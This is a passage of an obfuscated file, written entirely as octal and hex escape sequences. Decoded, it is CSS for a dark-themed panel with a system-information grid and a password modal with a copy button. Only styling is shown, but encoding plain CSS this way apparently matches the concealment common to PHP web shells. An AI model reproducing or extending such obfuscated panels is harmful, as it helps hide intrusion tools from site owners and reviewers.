x20\163\160\x61\156\x3a\156\x74\x68\55\143\x68\151\x6c\144\x28\157\144\x64\51\40\x7b\40\x66\x6f\x6e\x74\x2d\x77\x65\151\147\x68\x74\72\x20\x35\x30\60\x3b\40\x63\x6f\x6c\157\x72\72\40\166\141\x72\x28\55\55\141\x63\143\x65\156\164\x2d\142\154\165\x65\x29\x3b\40\x74\x65\170\164\55\x61\154\151\147\x6e\x3a\40\162\x69\x67\150\164\73\40\x7d\12\40\11\11\56\163\171\x73\x2d\151\156\146\157\55\x67\x72\x69\x64\40\x73\x70\x61\156\x3a\156\164\x68\x2d\143\150\x69\154\x64\50\x65\166\145\x6e\51\x20\x7b\40\x77\150\151\x74\145\x2d\x73\160\x61\x63\x65\x3a\40\160\x72\x65\x2d\x77\x72\x61\160\x3b\x20\167\157\x72\144\55\142\x72\145\x61\153\x3a\x20\142\x72\145\x61\153\55\141\154\154\73\40\143\x6f\154\157\x72\x3a\40\x76\141\x72\50\55\x2d\x74\145\170\x74\55\x6c\151\147\150\x74\x29\73\x20\x7d\12\x9\x9\56\155\x6f\x64\x61\x6c\40\x7b\x20\xa\x9\11\11\144\x69\x73\160\x6c\141\171\x3a\40\x6e\x6f\x6e\x65\73\40\xa\x9\x9\11\x70\157\x73\x69\x74\x69\157\156\72\x20\146\151\170\145\x64\x3b\40\xa\11\x9\11\x7a\55\151\x6e\144\x65\x78\72\x20\61\x30\x30\60\73\40\xa\x9\x9\11\x6c\x65\146\x74\72\x20\x30\x3b\x20\xa\11\x9\11\x74\157\x70\72\40\60\73\x20\12\x9\x9\x9\167\x69\144\x74\x68\72\40\61\x30\60\x25\x3b\x20\xa\x9\x9\11\150\145\151\147\x68\x74\72\40\x31\60\60\45\x3b\x20\12\x9\11\11\x62\141\143\153\x67\162\157\165\x6e\x64\x3a\x20\162\x67\142\141\x28\x32\x36\x2c\x20\62\71\54\40\63\66\54\40\x30\x2e\70\65\x29\x3b\40\12\x9\11\x9\x62\141\143\153\144\x72\x6f\x70\55\x66\151\x6c\164\145\x72\72\x20\142\x6c\165\x72\x28\70\x70\x78\x29\40\x73\x61\164\165\162\x61\x74\145\50\x31\70\60\x25\x29\x3b\x20\xa\11\11\11\55\x77\x65\142\153\151\x74\x2d\x62\141\x63\153\144\x72\157\x70\x2d\146\151\x6c\x74\x65\162\x3a\40\x62\154\165\x72\x28\x38\x70\x78\x29\40\163\x61\164\x75\162\x61\x74\x65\x28\x31\70\60\45\51\x3b\12\x9\11\11\152\x75\163\164\x69\x66\x79\x2d\x63\x6f\x6e\x74\145\156\x74\x3a\x20\x63\145\156\x74\x65\162\x3b\x20\xa\x9\11\x9\x61\x6c\x69\147\156\x2d\x69\x74\x65\x6d\163\72\40\x63\145\x6e\164\145\162\x3b\40\12\11\11\x9\141\156\x69\155\141\x74\x69\x6f\x6e\72\40\146\141\144\145\111\156\x20\x30\56\63\x73\x20\x63\165\x62\x69\143\x2d\x62\145\x7a\151\145\162\x28\60\56\64\54\40\x30\54\40\60\x2e\x32\54\40\x31\51\x3b\x20\12\11\11\x7d\xa\11\x9\x2e\155\157\144\141\154\56\x73\x68\x6f\x77\40\x7b\40\144\151\x73\x70\154\141\x79\72\40\x66\x6c\145\x78\73\x20\175\12\x9\11\100\x6b\x65\171\x66\x72\x61\x6d\x65\163\x20\x66\141\x64\145\111\x6e\x20\x7b\x20\12\x9\x9\x9\x66\162\157\x6d\x20\173\40\xa\11\x9\x9\11\157\x70\x61\143\x69\164\x79\x3a\x20\x30\x3b\x20\xa\11\11\11\11\142\x61\143\153\144\162\157\160\55\x66\x69\154\164\145\x72\72\40\142\x6c\x75\x72\50\60\160\x78\x29\x3b\xa\11\11\x9\175\40\12\x9\x9\x9\164\x6f\40\173\40\12\11\11\x9\x9\x6f\x70\141\143\151\164\171\72\x20\61\x3b\x20\xa\11\x9\x9\11\x62\x61\x63\x6b\x64\162\157\x70\x2d\x66\151\154\164\x65\162\72\x20\142\154\165\x72\x28\70\x70\170\51\x3b\xa\x9\11\x9\175\40\xa\x9\x9\175\xa\11\11\x2e\x6d\157\x64\141\x6c\x2d\143\157\156\x74\x65\x6e\164\40\173\40\xa\x9\11\x9\x62\x61\x63\x6b\147\x72\157\x75\x6e\144\72\x20\x6c\x69\x6e\145\141\162\55\147\162\141\144\151\145\156\164\x28\61\63\65\144\145\x67\x2c\40\x76\141\x72\x28\x2d\55\142\x67\x2d\155\145\x64\x29\x20\x30\x25\x2c\40\x76\x61\162\x28\55\x2d\x62\x67\55\x6c\x69\x67\150\164\51\x20\x31\x30\x30\x25\51\x3b\x20\xa\x9\11\11\x70\x61\144\144\x69\x6e\x67\72\x20\x30\73\x20\12\11\11\x9\142\x6f\162\x64\145\162\x2d\162\x61\x64\151\165\x73\x3a\x20\61\62\x70\x78\x3b\x20\12\x9\x9\11\x77\x69\144\x74\150\72\x20\70\60\x25\x3b\x20\12\11\11\x9\x62\157\162\x64\x65\162\x3a\x20\x32\x70\170\40\x73\x6f\154\151\x64\x20\166\x61\162\50\x2d\55\142\x6f\x72\144\145\x72\55\x63\x6f\x6c\157\x72\x29\x3b\x20\xa\11\11\x9\x64\x69\163\160\x6c\x61\171\72\40\x66\154\x65\170\73\40\12\11\x9\11\x66\x6c\x65\170\55\144\x69\x72\145\x63\x74\151\157\x6e\72\40\143\x6f\154\165\155\156\x3b\x20\xa\x9\x9\x9\x6d\141\170\x2d\x68\145\x69\x67\x68\x74\72\x20\70\x35\x76\150\x3b\x20\xa\11\11\11\142\157\170\55\163\x68\x61\144\x6f\x77\72\x20\x30\40\x32\x30\x70\170\40\66\60\x70\170\x20\162\147\142\x61\x28\60\x2c\x30\54\60\54\60\56\65\51\x2c\40\xa\x9\x9\11\x9\x9\x9\60\x20\60\40\x30\x20\x31\160\x78\40\162\147\142\x61\50\x32\65\65\54\62\x35\65\54\x32\65\65\x2c\60\56\60\x35\51\40\151\x6e\x73\x65\164\x3b\x20\12\x9\11\x9\141\x6e\151\155\141\x74\x69\157\156\x3a\x20\163\x6c\x69\144\145\x55\160\40\60\56\x33\x73\40\x63\165\142\151\x63\x2d\x62\x65\172\x69\145\162\50\x30\56\64\x2c\40\60\x2c\x20\60\56\62\54\x20\61\51\x3b\x20\xa\x9\11\11\157\x76\x65\x72\x66\x6c\157\167\72\40\x68\x69\144\144\145\156\73\xa\11\x9\11\x70\157\x73\151\164\x69\157\156\72\x20\x72\x65\x6c\x61\164\151\x76\145\x3b\xa\11\x9\x7d\xa\x9\11\x2e\x6d\157\144\x61\154\x2d\143\x6f\x6e\x74\x65\x6e\x74\72\x3a\x62\145\x66\157\x72\145\x20\173\12\11\x9\x9\143\x6f\x6e\x74\x65\x6e\x74\72\40\x27\47\x3b\12\x9\11\11\160\x6f\x73\151\x74\x69\x6f\x6e\72\40\x61\142\163\157\154\165\164\x65\73\xa\11\x9\x9\x74\157\160\x3a\x20\60\73\12\x9\x9\x9\154\145\x66\x74\x3a\x20\x30\x3b\12\x9\11\11\x72\151\x67\150\164\x3a\x20\60\x3b\xa\11\11\11\150\145\x69\147\150\x74\x3a\40\63\160\x78\73\12\11\x9\11\142\x61\x63\153\x67\x72\157\165\156\x64\72\x20\154\151\156\x65\x61\x72\x2d\147\x72\141\x64\x69\x65\156\x74\x28\x39\60\x64\x65\147\54\40\166\x61\162\x28\x2d\x2d\141\x63\x63\x65\x6e\x74\x2d\x62\154\x75\145\51\x2c\x20\166\x61\x72\50\55\55\141\x63\x63\145\x6e\x74\x2d\147\157\154\144\51\x2c\40\166\141\x72\50\55\55\141\x63\x63\145\x6e\164\55\142\154\x75\x65\51\51\73\12\x9\11\x9\x62\x61\x63\153\x67\x72\x6f\x75\156\x64\55\163\x69\172\145\x3a\40\x32\60\60\45\40\61\60\60\45\x3b\xa\11\x9\11\x61\156\151\155\141\164\x69\x6f\156\x3a\40\x73\x68\151\155\x6d\145\162\40\63\x73\40\154\x69\x6e\x65\141\x72\40\151\156\x66\151\156\151\x74\145\73\xa\11\x9\x7d\12\11\11\x40\x6b\x65\x79\x66\x72\x61\x6d\145\x73\40\163\150\x69\x6d\155\145\x72\40\x7b\12\11\11\x9\60\x25\x20\x7b\40\x62\141\x63\153\x67\x72\x6f\x75\156\x64\x2d\160\x6f\163\151\x74\x69\157\x6e\x3a\x20\x2d\62\x30\x30\x25\x20\x30\x3b\x20\x7d\xa\11\x9\11\x31\x30\x30\x25\40\173\x20\x62\x61\143\x6b\147\x72\x6f\165\156\144\55\160\157\163\151\164\151\x6f\156\x3a\x20\62\x30\60\45\40\x30\x3b\x20\x7d\12\11\11\175\12\x9\x9\100\x6b\x65\x79\x66\x72\x61\x6d\x65\163\x20\163\x6c\151\144\x65\x55\160\40\173\x20\xa\11\x9\x9\x66\x72\x6f\155\40\173\40\12\x9\11\11\x9\164\162\141\x6e\163\146\x6f\x72\x6d\72\x20\164\162\141\x6e\x73\x6c\x61\164\145\131\50\x33\60\x70\170\51\x20\x73\143\x61\154\145\50\x30\56\x39\x35\x29\73\40\xa\x9\x9\11\x9\x6f\160\141\143\x69\x74\x79\72\40\x30\x3b\40\xa\11\x9\x9\175\x20\12\x9\x9\11\x74\x6f\x20\173\40\xa\x9\x9\11\x9\164\x72\141\x6e\163\x66\x6f\162\x6d\x3a\40\164\x72\x61\156\x73\x6c\141\164\145\x59\x28\60\x29\40\x73\143\x61\x6c\145\x28\61\x29\73\x20\xa\11\x9\11\x9\157\x70\141\x63\151\x74\x79\72\40\x31\73\x20\xa\11\11\11\x7d\40\xa\11\x9\x7d\12\11\11\56\155\x6f\144\x61\154\55\x68\145\x61\144\145\162\x20\x7b\40\xa\11\11\11\x64\x69\x73\x70\154\141\171\72\x20\x66\x6c\x65\x78\x3b\x20\12\x9\x9\11\152\x75\x73\x74\151\x66\171\x2d\143\x6f\156\164\x65\x6e\x74\72\x20\x73\x70\x61\143\145\55\142\145\164\167\145\145\156\x3b\x20\xa\x9\11\x9\x61\x6c\151\147\x6e\55\151\164\145\x6d\x73\72\x20\x63\145\x6e\164\145\162\73\x20\12\x9\x9\x9\155\141\162\147\151\156\55\142\x6f\x74\164\x6f\x6d\72\x20\60\73\40\12\x9\x9\x9\160\141\144\x64\151\156\x67\x3a\40\61\56\x35\x72\x65\155\x3b\12\x9\11\x9\x62\x61\143\153\x67\162\157\x75\x6e\144\x3a\x20\x6c\151\x6e\x65\x61\x72\x2d\147\x72\x61\x64\151\145\156\x74\50\x31\63\65\144\x65\147\54\x20\x76\141\x72\50\55\55\142\147\55\x6c\x69\x67\x68\x74\51\x20\60\45\x2c\40\x76\141\x72\50\x2d\55\142\x67\55\155\x65\144\x29\40\61\x30\x30\45\x29\x3b\12\x9\x9\11\142\157\x72\144\145\162\x2d\x62\x6f\164\164\157\155\x3a\x20\62\x70\170\40\x73\157\x6c\151\x64\40\x76\141\x72\50\x2d\x2d\142\157\162\144\x65\162\55\x63\x6f\154\157\162\x29\x3b\xa\11\x9\x7d\12\11\11\56\x6d\x6f\x64\141\x6c\55\x68\x65\141\144\x65\162\40\x68\x33\40\173\x20\12\11\x9\11\155\141\x72\147\151\x6e\x3a\40\60\x3b\40\12\11\11\11\x66\157\x6e\x74\55\x77\x65\x69\x67\x68\164\72\x20\66\60\60\x3b\x20\xa\11\x9\x9\143\157\x6c\157\162\72\40\166\x61\162\50\x2d\55\x61\x63\x63\145\x6e\164\x2d\x67\157\x6c\144\x29\x3b\x20\xa\x9\11\11\x66\x6f\156\164\55\x73\x69\172\145\x3a\40\x31\x2e\x33\x72\145\x6d\73\xa\11\x9\x9\x64\151\163\160\154\141\171\x3a\40\x66\154\x65\x78\73\xa\x9\11\x9\141\x6c\x69\x67\156\x2d\x69\164\x65\x6d\163\72\x20\x63\x65\156\x74\x65\162\73\12\x9\x9\x9\147\141\160\x3a\40\x30\56\65\162\145\x6d\73\xa\11\11\175\xa\x9\x9\56\x6d\157\144\x61\154\55\x62\x6f\144\171\40\173\40\12\x9\x9\11\157\x76\145\162\x66\x6c\x6f\x77\x2d\171\72\40\x61\165\164\x6f\73\x20\xa\x9\x9\11\x66\154\145\170\72\x20\61\73\x20\xa\x9\x9\x9\160\x61\x64\x64\151\156\147\x3a\40\x31\56\65\162\x65\155\73\xa\x9\11\x7d\12\x9\11\x2e\143\x6c\x6f\x73\x65\40\x7b\x20\xa\x9\11\x9\x66\x6f\156\164\x2d\x73\151\x7a\145\x3a\x20\x32\x72\145\x6d\x3b\x20\12\x9\x9\x9\143\165\x72\163\x6f\x72\x3a\x20\160\157\x69\156\164\145\162\x3b\40\12\x9\11\x9\143\157\154\157\x72\x3a\40\x76\141\162\x28\55\x2d\x74\x65\x78\x74\x2d\x6d\145\144\x29\x3b\x20\12\x9\x9\x9\x74\162\x61\156\163\x69\164\x69\x6f\156\x3a\40\141\x6c\154\40\x30\56\63\x73\40\x63\x75\x62\x69\x63\55\x62\145\172\151\145\162\50\60\x2e\64\x2c\40\60\54\x20\x30\x2e\x32\54\x20\x31\51\73\x20\12\x9\x9\x9\154\151\x6e\145\55\x68\145\x69\147\x68\x74\72\40\61\x3b\x20\12\x9\x9\11\x77\x69\x64\x74\150\x3a\x20\63\62\160\170\73\12\11\11\11\150\145\x69\x67\x68\x74\72\40\x33\62\x70\170\73\12\x9\11\x9\144\151\163\x70\x6c\141\x79\72\x20\146\154\145\x78\73\12\11\11\11\x61\x6c\151\x67\156\55\x69\x74\145\155\163\72\x20\x63\x65\x6e\164\145\162\x3b\12\x9\x9\11\x6a\165\163\x74\x69\146\x79\x2d\x63\157\x6e\x74\145\x6e\164\72\x20\143\145\156\x74\145\162\73\xa\x9\x9\x9\142\157\162\x64\x65\162\55\162\141\144\x69\x75\163\72\40\65\60\45\73\12\11\11\x9\x62\141\143\153\147\x72\157\165\156\144\72\x20\x74\x72\141\x6e\163\x70\141\x72\x65\156\x74\x3b\xa\x9\11\x7d\xa\x9\x9\x2e\x63\154\x6f\x73\145\72\x68\x6f\166\x65\x72\x20\x7b\40\12\11\11\x9\x63\157\154\x6f\162\x3a\x20\x76\x61\x72\x28\55\x2d\141\x63\x63\145\x6e\164\x2d\x72\x65\144\51\73\x20\12\x9\x9\11\142\141\143\153\x67\x72\x6f\165\156\x64\72\x20\x72\x67\x62\x61\x28\x32\x35\x35\54\40\67\67\x2c\40\67\x37\x2c\x20\x30\56\x31\x29\73\xa\x9\11\x9\164\162\141\156\x73\x66\x6f\x72\x6d\72\x20\162\x6f\164\141\x74\x65\50\x39\60\144\145\x67\x29\x20\163\x63\141\154\x65\x28\x31\x2e\61\x29\73\12\11\11\175\xa\x9\x9\x2e\x63\154\x6f\163\145\x3a\x61\143\x74\x69\166\145\40\x7b\xa\11\x9\x9\x74\x72\141\x6e\x73\146\157\x72\x6d\72\x20\162\x6f\164\x61\164\x65\x28\71\x30\x64\145\147\x29\40\163\143\x61\154\x65\x28\60\x2e\x39\65\x29\73\12\x9\x9\175\xa\x9\11\12\x9\11\57\52\40\120\x61\163\x73\167\x6f\162\144\x20\115\x6f\x64\141\x6c\40\x53\164\x79\154\151\156\147\x20\x2a\57\12\11\x9\x2e\x70\141\x73\163\167\x6f\x72\144\x2d\x6d\x6f\x64\141\x6c\x2d\x63\x6f\156\164\145\156\164\40\x7b\x20\167\x69\x64\x74\x68\72\x20\71\x30\x25\73\40\155\x61\x78\55\167\x69\x64\x74\150\x3a\40\65\x30\x30\x70\170\x3b\40\160\141\x64\x64\151\x6e\147\x3a\x20\62\x72\145\x6d\x3b\40\175\xa\11\x9\x2e\x70\x61\163\163\x77\x6f\162\x64\55\x6d\x6f\144\x61\x6c\55\150\x65\141\x64\145\x72\40\x7b\40\x62\x6f\x72\144\x65\162\55\142\x6f\164\164\x6f\x6d\x3a\40\62\x70\170\x20\x73\157\x6c\151\x64\40\x76\x61\x72\50\x2d\55\x62\157\162\144\x65\x72\55\143\157\x6c\x6f\162\x29\73\40\x70\x61\x64\x64\151\156\147\x2d\142\157\164\164\x6f\x6d\x3a\40\x31\x72\145\x6d\x3b\40\155\x61\x72\147\151\x6e\x2d\x62\157\164\164\x6f\x6d\72\x20\61\x2e\65\x72\145\155\73\x20\x7d\xa\11\11\x2e\160\141\x73\x73\167\157\162\144\55\x6d\x6f\x64\141\154\x2d\x68\x65\x61\144\x65\162\x20\x68\x33\x20\173\40\146\x6f\x6e\x74\x2d\163\x69\x7a\x65\72\x20\61\56\x35\162\145\x6d\73\x20\143\157\x6c\x6f\162\x3a\x20\x76\141\x72\50\x2d\55\141\x63\143\x65\x6e\x74\x2d\142\154\x75\x65\51\x3b\x20\x64\x69\163\x70\x6c\141\171\x3a\40\x66\x6c\x65\x78\x3b\40\x61\154\151\147\156\x2d\151\164\x65\x6d\x73\x3a\x20\x63\x65\156\164\145\162\x3b\40\147\x61\x70\x3a\40\60\56\65\x72\x65\155\x3b\x20\x7d\12\x9\11\56\x70\141\163\163\167\x6f\162\x64\x2d\155\x6f\144\141\154\55\142\157\x64\x79\40\x7b\x20\144\151\x73\x70\154\141\x79\x3a\x20\146\x6c\145\x78\x3b\x20\146\x6c\x65\x78\x2d\144\x69\x72\x65\143\x74\151\x6f\156\72\40\143\157\x6c\165\155\x6e\x3b\40\147\141\x70\72\x20\61\x2e\x35\x72\145\155\x3b\x20\x7d\xa\11\x9\x2e\160\141\x73\163\x77\157\162\x64\55\151\156\x66\157\55\142\157\170\40\173\40\142\x61\143\x6b\147\162\157\x75\x6e\x64\x3a\40\154\151\x6e\x65\x61\x72\55\x67\162\141\144\x69\x65\156\x74\x28\x31\63\65\x64\x65\x67\x2c\x20\x76\141\162\50\55\x2d\x62\x67\55\x6c\x69\x67\150\x74\x29\40\x30\x25\x2c\x20\166\141\x72\x28\55\x2d\142\147\55\x6d\x65\144\x29\x20\61\x30\60\45\51\73\x20\x62\157\x72\144\x65\x72\72\40\62\160\x78\40\163\x6f\154\x69\x64\x20\166\x61\x72\50\55\55\x61\x63\143\145\156\x74\55\142\x6c\x75\x65\x29\x3b\40\142\x6f\162\x64\145\x72\55\162\141\x64\151\x75\x73\72\40\x31\62\x70\x78\73\x20\160\x61\144\144\x69\156\147\x3a\x20\x31\56\x35\162\145\x6d\x3b\x20\x74\x65\x78\x74\55\141\154\x69\x67\x6e\x3a\40\x63\x65\x6e\164\x65\x72\x3b\40\160\157\x73\x69\164\151\x6f\x6e\72\40\162\145\154\141\x74\151\166\x65\x3b\x20\x6f\x76\145\x72\146\x6c\157\167\72\40\x68\151\144\x64\145\x6e\x3b\x20\x7d\xa\11\11\x2e\x70\x61\163\x73\x77\157\x72\144\55\x69\156\x66\157\55\142\x6f\170\x3a\72\142\x65\146\157\x72\145\x20\173\x20\x63\x6f\x6e\x74\x65\x6e\164\x3a\x20\x27\x27\x3b\40\160\x6f\x73\151\x74\x69\157\156\72\40\x61\142\x73\157\154\165\164\x65\73\x20\164\x6f\x70\72\40\55\x35\x30\x25\73\x20\x6c\145\146\164\x3a\x20\55\x35\60\45\x3b\40\x77\x69\144\x74\x68\x3a\x20\62\60\x30\x25\x3b\40\x68\145\x69\147\150\x74\x3a\40\x32\x30\60\x25\x3b\40\x62\x61\143\x6b\x67\x72\x6f\x75\156\x64\x3a\40\x72\x61\x64\x69\x61\x6c\55\147\162\x61\x64\151\145\x6e\x74\x28\x63\151\x72\143\154\145\x2c\x20\x72\x67\x62\x61\x28\x31\63\60\54\40\61\x37\x30\54\40\62\x35\x35\x2c\40\x30\x2e\x31\x29\40\60\45\x2c\40\164\x72\141\156\x73\x70\x61\162\x65\x6e\x74\x20\67\x30\45\x29\73\x20\x61\x6e\x69\155\x61\x74\151\x6f\156\72\40\162\157\164\x61\x74\x65\40\x32\60\x73\x20\154\x69\x6e\x65\141\x72\40\x69\x6e\x66\x69\156\x69\x74\145\73\x20\x7d\xa\x9\11\x40\x6b\145\x79\x66\x72\141\x6d\x65\x73\x20\x72\157\164\x61\164\x65\x20\173\40\x66\162\x6f\155\x20\x7b\40\x74\x72\x61\156\163\x66\x6f\162\155\x3a\40\162\157\x74\x61\x74\x65\50\60\144\x65\147\x29\73\40\x7d\x20\164\157\x20\x7b\x20\164\162\x61\x6e\163\x66\157\x72\155\72\40\x72\157\164\141\164\x65\x28\63\66\x30\x64\x65\147\51\73\x20\x7d\x20\x7d\12\x9\x9\x2e\160\141\x73\163\167\x6f\x72\x64\55\151\143\x6f\x6e\x20\173\40\x66\157\x6e\164\55\x73\151\172\145\x3a\x20\x33\x72\x65\155\x3b\x20\x6d\x61\x72\147\x69\156\55\x62\157\164\x74\x6f\x6d\72\40\61\x72\145\x6d\x3b\40\x61\x6e\151\x6d\x61\164\x69\157\156\x3a\x20\x62\x6f\165\x6e\143\145\x20\x32\163\40\x65\141\x73\x65\55\151\156\55\x6f\165\x74\x20\151\156\x66\151\x6e\151\164\145\x3b\x20\x70\157\x73\x69\x74\151\157\x6e\72\x20\x72\145\x6c\141\164\x69\166\x65\x3b\x20\172\55\151\156\x64\145\170\x3a\x20\61\73\x20\175\xa\x9\x9\100\x6b\145\x79\x66\162\141\x6d\x65\x73\x20\142\x6f\x75\x6e\x63\145\40\173\x20\x30\45\54\x20\x31\60\60\45\40\173\40\x74\x72\x61\x6e\163\x66\157\x72\155\72\x20\164\162\x61\156\163\154\x61\x74\145\131\50\x30\x29\x3b\40\175\40\65\x30\x25\40\173\x20\164\162\x61\x6e\x73\x66\x6f\162\x6d\72\x20\164\162\141\x6e\x73\x6c\x61\164\x65\131\50\x2d\x31\x30\160\170\x29\x3b\x20\x7d\x20\175\12\11\11\56\160\x61\x73\163\167\x6f\162\144\55\150\x69\x6e\164\x20\173\x20\143\157\154\x6f\x72\x3a\x20\166\x61\x72\x28\55\55\164\145\x78\x74\55\x6c\x69\147\150\164\x29\73\x20\146\x6f\x6e\x74\x2d\x73\151\x7a\145\72\x20\61\162\x65\x6d\73\x20\x6d\141\162\147\x69\156\72\40\60\x20\x30\40\61\x72\x65\x6d\x20\60\73\x20\160\x6f\x73\x69\164\x69\157\x6e\x3a\40\162\x65\154\141\x74\x69\x76\x65\73\x20\172\x2d\151\156\x64\145\x78\72\x20\x31\73\40\x7d\xa\x9\x9\56\160\x61\x73\163\x77\x6f\x72\x64\55\144\151\163\x70\154\x61\171\x20\x7b\x20\144\x69\163\160\154\141\x79\72\x20\x66\154\145\x78\x3b\40\141\154\151\147\x6e\x2d\151\x74\145\155\x73\72\40\143\145\156\x74\x65\x72\73\40\152\165\x73\164\151\x66\x79\x2d\x63\157\156\164\145\x6e\x74\x3a\x20\x63\x65\x6e\164\145\x72\x3b\x20\x67\x61\160\x3a\x20\61\162\145\155\73\x20\x62\x61\143\x6b\x67\162\157\165\x6e\x64\x3a\40\166\141\162\50\55\x2d\142\x67\55\x64\141\x72\x6b\x29\x3b\x20\160\x61\x64\144\151\x6e\147\x3a\x20\61\162\145\x6d\73\x20\142\x6f\x72\144\x65\162\55\162\141\x64\151\165\163\72\40\x38\x70\170\x3b\40\x6d\x61\162\147\x69\x6e\55\164\157\160\72\40\61\x72\145\x6d\73\x20\160\x6f\163\x69\x74\151\157\x6e\x3a\40\x72\x65\154\x61\164\x69\x76\145\73\40\172\x2d\x69\156\x64\x65\x78\x3a\x20\x31\73\x20\x62\157\162\144\145\162\72\40\61\x70\x78\40\163\157\x6c\151\144\x20\x76\x61\x72\x28\x2d\55\x61\143\143\x65\x6e\164\55\x67\x6f\x6c\x64\x29\x3b\40\175\12\11\x9\56\160\141\163\x73\x77\157\x72\144\x2d\154\x61\142\145\x6c\x20\173\40\143\x6f\x6c\157\162\x3a\x20\x76\141\162\50\x2d\55\164\x65\170\x74\x2d\155\145\144\51\x3b\x20\x66\157\x6e\x74\x2d\x73\x69\172\145\72\40\60\56\x39\162\145\x6d\x3b\40\146\157\x6e\x74\x2d\x77\x65\151\x67\x68\164\72\40\x35\x30\x30\73\40\175\xa\11\11\x2e\x70\141\x73\x73\x77\157\x72\x64\55\x76\141\x6c\165\x65\x20\x7b\x20\x63\157\154\x6f\x72\x3a\x20\x76\x61\162\50\x2d\55\x61\x63\x63\x65\156\164\x2d\x67\157\x6c\x64\x29\73\40\146\x6f\156\x74\x2d\x73\x69\x7a\x65\72\40\x31\56\62\x72\x65\x6d\73\x20\146\x6f\156\x74\x2d\167\x65\x69\x67\x68\x74\x3a\x20\67\60\60\73\x20\x66\x6f\x6e\164\55\146\141\155\x69\154\171\x3a\40\x27\103\x6f\x75\162\151\145\x72\x20\x4e\145\167\x27\x2c\x20\x6d\x6f\x6e\157\x73\160\x61\143\145\73\x20\154\x65\x74\x74\145\162\55\163\160\x61\x63\x69\x6e\x67\x3a\40\62\160\170\73\40\164\145\x78\x74\55\x73\150\x61\x64\157\x77\72\40\60\40\60\40\x31\60\160\170\40\166\x61\x72\50\x2d\x2d\141\143\143\x65\156\x74\x2d\x67\157\x6c\144\51\73\x20\175\12\x9\11\x2e\x63\157\160\171\55\x70\141\163\163\167\157\162\x64\55\142\164\156\x20\173\x20\142\x61\143\153\147\x72\x6f\165\156\144\72\x20\166\x61\x72\x28\55\x2d\x61\x63\x63\145\x6e\164\x2d\142\x6c\165\145\51\x3b\x20\142\157\162\x64\145\162\72\x20\156\157\156\145\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x76\141\x72\x28\x2d\x2d\142\x67\x2d\x64\141\162\x6b\x29\73\x20\x70\141\x64\x64\151\156\147\72\40\x30\56\65\x72\x65\155\40\61\x72\145\x6d\x3b\x20\x62\x6f\162\x64\145\x72\55\x72\141\x64\151\x75\x73\x3a\40\66\x70\x78\x3b\40\x63\x75\x72\163\x6f\162\72\40\160\x6f\x69\156\x74\145\162\73\x20\x66\157\156\164\55\x73\151\x7a\145\72\40\61\x72\145\155\x3b\x20\x74\x72\141\x6e\163\x69\164\151\x6f\156\x3a\x20\x61\154\x6c\x20\60\56\x33\x73\73\40\146\157\x6e\164\55\x77\145\151\147\150\x74\x3a\40\65\x30\60\x3b\x20\175\12\11\11\56\143\x6f\x70\x79\55\x70\141\x73\x73\x77\x6f\x72\x64\55\x62\x74\x6e\x3a\x68\157\x76\145\162\x20\x7b\40\x62\x61\143\153\147\x72\x6f\165\x6e\144\x3a\40\x23\71\x64\143\61\x66\x66\73\40\x74\162\141\156\163\146\x6f\x72\155\x3a\x20\163\x63\x61\154\x65\x28\61\x2e\x30\x35\51\x3b\40\142\157\x78\55\x73\150\141\x64\157\x77\x3a\40\60\x20\x34\x70\x78\40\61\x32\x70\170\x20\162\x67\x62\x61\x28\x31\x33\x30\x2c\x20\x31\x37\60\54\x20\62\65\65\x2c\40\x30\56\x34\51\x3b\x20\175\12\11\x9\x2e\143\157\160\171\55\160\x61\x73\x73\x77\x6f\162\x64\55\x62\x74\156\x3a\x61\143\x74\x69\166\x65\x20\x7b\40\164\162\x61\x6e\163\x66\157\x72\155\x3a\x20\163\x63\141\x6c\x65\50\x30\56\x39\65\x29\x3b\x20\175\12\11\11\x2e\x70\141\163\163\x77\x6f\x72\144\x2d\x69\156\x70\x75\164\x2d\147\x72\157\x75\x70\40\x7b\40\160\157\163\x69\164\x69\157\x6e\x3a\x20\x72\145\x6c\141\x74\151\x76\x65\73\x20\172\55\x69\156\x64\x65\170\x3a\40\x31\x3b\x20\175\xa\11\11\x2e\160\x61\163\x73\167\x6f\162\144\x2d\151\x6e\160\165\x74\x2d\x67\x72\x6f\x75\x70\x20\154\141\x62\x65\x6c\40\173\40\144\151\x73\160\x6c\141\171\72\x20\x62\x6c\x6f\143\153\73\x20\x63\157\x6c\157\x72\x3a\x20\166\x61\x72\x28\x2d\x2d\x74\145\x78\x74\x2d\x6c\x69\x67\150\x74\51\73\x20\x66\x6f\x6e\164\x2d\167\x65\x69\x67\150\x74\x3a\40\x35\x30\x30\73\40\155\141\x72\147\x69\156\55\142\157\x74\x74\157\x6d\72\40\60\56\x35\162\x65\x6d\73\x20\146\x6f\156\164\55\x73\151\x7a\x65\72\40\60\x2e\x39\65\x72\145\155\x3b\x20\x7d\xa\11\x9\56\160\x61\163\163\167\157\162\144\x2d\151\x6e\x70\165\x74\55\147\x72\x6f\165\x70\x20\151\x6e\160\165\x74\x5b\164\171\160\145\x3d\42\x70\141\163\x73\167\157\x72\144\x22\x5d\x20\173\40\167\x69\x64\x74\x68\x3a\40\x31\x30\x30\45\x3b\x20\160\x61\144\144\151\156\x67\x3a\40\x31\162\145\155\x3b\x20\142\141\143\x6b\x67\x72\x6f\x75\156\x64\x3a\x20\166\141\x72\50\55\55\142\x67\55\x64\141\162\153\51\73\40\142\x6f\162\x64\x65\162\x3a\40\x32\160\170\x20\x73\x6f\x6c\x69\x64\x20\166\141\x72\x28\55\55\142\x6f\x72\144\145\162\x2d\x63\x6f\x6c\x6f\162\x29\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\162\x61\x64\151\165\163\72\40\70\160\170\x3b\40\x63\157\154\x6f\x72\x3a\40\166\x61\x72\50\55\55\164\x65\170\x74\55\154\151\x67\150\164\x29\73\40\x66\x6f\156\x74\55\x73\x69\172\x65\72\x20\61\56\61\x72\x65\155\73\40\x66\x6f\x6e\x74\x2d\146\141\x6d\x69\154\171\x3a\x20\47\103\157\x75\x72\x69\145\x72\x20\116\145\167\47\x2c\40\155\157\x6e\x6f\x73\x70\x61\143\x65\73\x20\154\x65\164\x74\x65\x72\55\x73\160\141\x63\151\156\x67\72\x20\63\160\x78\x3b\40\x74\x72\x61\x6e\x73\151\164\151\157\x6e\72\x20\141\x6c\x6c\x20\x30\56\63\163\x3b\40\142\x6f\x78\55\x73\x69\172\151\156\x67\x3a\x20\x62\157\x72\x64\145\162\55\x62\x6f\170\73\40\x7d\xa\11\11\x2e\160\141\x73\163\167\x6f\162\x64\55\151\156\x70\x75\164\x2d\147\162\1